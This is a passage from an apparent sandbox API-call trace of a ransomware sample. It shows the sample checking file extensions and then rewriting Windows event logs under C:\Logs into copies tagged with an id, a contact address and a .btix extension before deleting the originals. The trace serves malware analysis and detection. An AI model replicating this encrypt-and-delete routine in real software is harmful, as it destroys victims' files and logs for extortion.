(lpString1=".rar", lpString2="TNXT") returned -1 [0047.783] lstrlenW (lpString=".bz2") returned 4 [0047.783] lstrcmpiW (lpString1=".bz2", lpString2="TNXT") returned -1 [0047.783] lstrlenW (lpString=".7z") returned 3 [0047.783] lstrcmpiW (lpString1=".7z", lpString2="NXT") returned -1 [0047.783] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0047.783] lstrlenW (lpString=".dbf") returned 4 [0047.783] lstrcmpiW (lpString1=".dbf", lpString2="TNXT") returned -1 [0047.783] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0047.783] lstrlenW (lpString=".1cd") returned 4 [0047.783] lstrcmpiW (lpString1=".1cd", lpString2="TNXT") returned -1 [0047.784] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0047.784] lstrlenW (lpString=".jpg") returned 4 [0047.784] lstrcmpiW (lpString1=".jpg", lpString2="TNXT") returned -1 [0047.784] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0047.784] lstrlenW (lpString="Internet Explorer.evtx") returned 22 [0047.784] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0047.786] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=69632) returned 1 [0047.786] CloseHandle (hObject=0x370) returned 1 [0047.787] GetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 0x20 [0047.787] GetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\internet explorer.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0047.787] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0047.787] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.787] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.787] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\internet explorer.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0047.787] GetLastError () returned 0x0 [0047.787] ReadFile (in: hFile=0x370, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x11000, lpOverlapped=0x0) returned 1 [0047.796] WriteFile (in: hFile=0x368, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x11010, lpOverlapped=0x0) returned 1 [0047.797] ReadFile (in: hFile=0x370, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0047.797] WriteFile (in: hFile=0x368, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x100, lpOverlapped=0x0) returned 1 [0047.798] SetEndOfFile (hFile=0x368) returned 1 [0047.798] CloseHandle (hObject=0x368) returned 1 [0047.799] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.799] SetEndOfFile (hFile=0x370) returned 1 [0047.801] CloseHandle (hObject=0x370) returned 1 [0047.801] SetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0047.801] DeleteFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 1 [0047.801] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0047.801] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0047.801] lstrlenW (lpString=".doc") returned 4 [0047.801] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0047.801] lstrlenW (lpString=".docx") returned 5 [0047.801] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0047.801] lstrlenW (lpString=".pdf") returned 4 [0047.801] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0047.801] lstrlenW (lpString=".xls") returned 4 [0047.801] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0047.801] lstrlenW (lpString=".xlsx") returned 5 [0047.801] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0047.801] lstrlenW (lpString=".ppt") returned 4 [0047.802] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0047.802] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0047.802] lstrlenW (lpString=".zip") returned 4 [0047.802] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0047.802] lstrlenW (lpString=".rar") returned 4 [0047.802] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0047.802] lstrlenW (lpString=".bz2") returned 4 [0047.802] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0047.802] lstrlenW (lpString=".7z") returned 3 [0047.802] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0047.802] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0047.802] lstrlenW (lpString=".dbf") returned 4 [0047.802] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0047.802] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0047.802] lstrlenW (lpString=".1cd") returned 4 [0047.802] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0047.802] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0047.802] lstrlenW (lpString=".jpg") returned 4 [0047.802] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0047.802] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0047.802] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0047.802] lstrlenW (lpString=".doc") returned 4 [0047.802] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0047.802] lstrlenW (lpString=".docx") returned 5 [0047.803] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0047.803] lstrlenW (lpString=".pdf") returned 4 [0047.803] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0047.803] lstrlenW (lpString=".xls") returned 4 [0047.803] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0047.803] lstrlenW (lpString=".xlsx") returned 5 [0047.803] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0047.803] lstrlenW (lpString=".ppt") returned 4 [0047.803] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0047.803] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0047.803] lstrlenW (lpString=".zip") returned 4 [0047.803] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0047.803] lstrlenW (lpString=".rar") returned 4 [0047.803] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0047.803] lstrlenW (lpString=".bz2") returned 4 [0047.803] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0047.803] lstrlenW (lpString=".7z") returned 3 [0047.803] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0047.803] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0047.803] lstrlenW (lpString=".dbf") returned 4 [0047.803] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0047.803] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0047.803] lstrlenW (lpString=".1cd") returned 4 [0047.803] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0047.803] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0047.803] lstrlenW (lpString=".jpg") returned 4 [0047.803] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0047.803] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0047.804] lstrlenW (lpString="Key Management Service.evtx") returned 27 [0047.804] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0047.804] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=69632) returned 1 [0047.804] CloseHandle (hObject=0x370) returned 1 [0047.804] GetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 0x20 [0047.804] GetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\key management service.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0047.804] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0047.804] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.804] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.804] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\key management service.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0047.804] GetLastError () returned 0x0 [0047.804] ReadFile (in: hFile=0x370, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x11000, lpOverlapped=0x0) returned 1 [0048.056] WriteFile (in: hFile=0x368, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x11010, lpOverlapped=0x0) returned 1 [0048.057] ReadFile (in: hFile=0x370, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0048.057] WriteFile (in: hFile=0x368, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x10a, lpOverlapped=0x0) returned 1 [0048.057] SetEndOfFile (hFile=0x368) returned 1 [0048.058] CloseHandle (hObject=0x368) returned 1 [0048.059] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.059] SetEndOfFile (hFile=0x370) returned 1 [0048.060] CloseHandle (hObject=0x370) returned 1 [0048.061] SetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0048.061] DeleteFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 1 [0048.061] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0048.061] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0048.061] lstrlenW (lpString=".doc") returned 4 [0048.061] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0048.061] lstrlenW (lpString=".docx") returned 5 [0048.061] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0048.061] lstrlenW (lpString=".pdf") returned 4 [0048.061] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0048.061] lstrlenW (lpString=".xls") returned 4 [0048.061] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0048.061] lstrlenW (lpString=".xlsx") returned 5 [0048.061] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0048.061] lstrlenW (lpString=".ppt") returned 4 [0048.061] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0048.061] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0048.061] lstrlenW (lpString=".zip") returned 4 [0048.061] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0048.061] lstrlenW (lpString=".rar") returned 4 [0048.061] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0048.061] lstrlenW (lpString=".bz2") returned 4 [0048.062] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0048.062] lstrlenW (lpString=".7z") returned 3 [0048.062] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0048.062] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0048.062] lstrlenW (lpString=".dbf") returned 4 [0048.062] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0048.062] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0048.062] lstrlenW (lpString=".1cd") returned 4 [0048.062] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0048.062] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0048.062] lstrlenW (lpString=".jpg") returned 4 [0048.062] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0048.062] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0048.062] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0048.062] lstrlenW (lpString=".doc") returned 4 [0048.062] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0048.062] lstrlenW (lpString=".docx") returned 5 [0048.062] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0048.062] lstrlenW (lpString=".pdf") returned 4 [0048.062] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0048.062] lstrlenW (lpString=".xls") returned 4 [0048.062] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0048.062] lstrlenW (lpString=".xlsx") returned 5 [0048.062] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0048.062] lstrlenW (lpString=".ppt") returned 4 [0048.062] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0048.062] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0048.062] lstrlenW (lpString=".zip") returned 4 [0048.062] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0048.062] lstrlenW (lpString=".rar") returned 4 [0048.062] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0048.062] lstrlenW (lpString=".bz2") returned 4 [0048.062] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0048.062] lstrlenW (lpString=".7z") returned 3 [0048.062] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0048.063] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0048.063] lstrlenW (lpString=".dbf") returned 4 [0048.063] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0048.063] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0048.063] lstrlenW (lpString=".1cd") returned 4 [0048.063] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0048.063] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0048.063] lstrlenW (lpString=".jpg") returned 4 [0048.063] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0048.063] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0048.063] lstrlenW (lpString="Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 48 [0048.063] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0048.063] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=69632) returned 1 [0048.063] CloseHandle (hObject=0x370) returned 1 [0048.063] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 0x20 [0048.063] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0048.063] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0048.063] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.064] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.064] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0048.064] GetLastError () returned 0x0 [0048.064] ReadFile (in: hFile=0x370, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x11000, lpOverlapped=0x0) returned 1 [0048.084] WriteFile (in: hFile=0x368, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x11010, lpOverlapped=0x0) returned 1 [0048.086] ReadFile (in: hFile=0x370, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0048.086] WriteFile (in: hFile=0x368, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x134, lpOverlapped=0x0) returned 1 [0048.086] SetEndOfFile (hFile=0x368) returned 1 [0048.086] CloseHandle (hObject=0x368) returned 1 [0048.088] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.088] SetEndOfFile (hFile=0x370) returned 1 [0048.089] CloseHandle (hObject=0x370) returned 1 [0048.089] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0048.089] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 1 [0048.089] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0048.089] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0048.089] lstrlenW (lpString=".doc") returned 4 [0048.089] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0048.089] lstrlenW (lpString=".docx") returned 5 [0048.089] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0048.089] lstrlenW (lpString=".pdf") returned 4 [0048.089] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0048.089] lstrlenW (lpString=".xls") returned 4 [0048.089] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0048.089] lstrlenW (lpString=".xlsx") returned 5 [0048.089] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0048.089] lstrlenW (lpString=".ppt") returned 4 [0048.090] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0048.090] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0048.090] lstrlenW (lpString=".zip") returned 4 [0048.090] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0048.090] lstrlenW (lpString=".rar") returned 4 [0048.090] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0048.090] lstrlenW (lpString=".bz2") returned 4 [0048.090] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0048.090] lstrlenW (lpString=".7z") returned 3 [0048.090] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0048.090] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0048.090] lstrlenW (lpString=".dbf") returned 4 [0048.090] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0048.090] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0048.090] lstrlenW (lpString=".1cd") returned 4 [0048.090] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0048.090] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0048.090] lstrlenW (lpString=".jpg") returned 4 [0048.090] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0048.090] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0048.090] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0048.090] lstrlenW (lpString=".doc") returned 4 [0048.090] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0048.090] lstrlenW (lpString=".docx") returned 5 [0048.090] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0048.090] lstrlenW (lpString=".pdf") returned 4 [0048.090] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0048.090] lstrlenW (lpString=".xls") returned 4 [0048.090] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0048.090] lstrlenW (lpString=".xlsx") returned 5 [0048.090] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0048.090] lstrlenW (lpString=".ppt") returned 4 [0048.091] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0048.091] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0048.091] lstrlenW (lpString=".zip") returned 4 [0048.091] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0048.091] lstrlenW (lpString=".rar") returned 4 [0048.091] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0048.091] lstrlenW (lpString=".bz2") returned 4 [0048.091] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0048.091] lstrlenW (lpString=".7z") returned 3 [0048.091] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0048.091] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0048.091] lstrlenW (lpString=".dbf") returned 4 [0048.091] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0048.091] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0048.091] lstrlenW (lpString=".1cd") returned 4 [0048.091] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0048.091] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0048.091] lstrlenW (lpString=".jpg") returned 4 [0048.091] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0048.091] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0048.091] lstrlenW (lpString="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 57 [0048.091] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0048.092] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=69632) returned 1 [0048.092] CloseHandle (hObject=0x370) returned 1 [0048.092] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 0x20 [0048.092] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0048.093] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0048.093] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.093] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.093] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0048.093] GetLastError () returned 0x0 [0048.093] ReadFile (in: hFile=0x370, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x11000, lpOverlapped=0x0) returned 1 [0048.148] WriteFile (in: hFile=0x368, 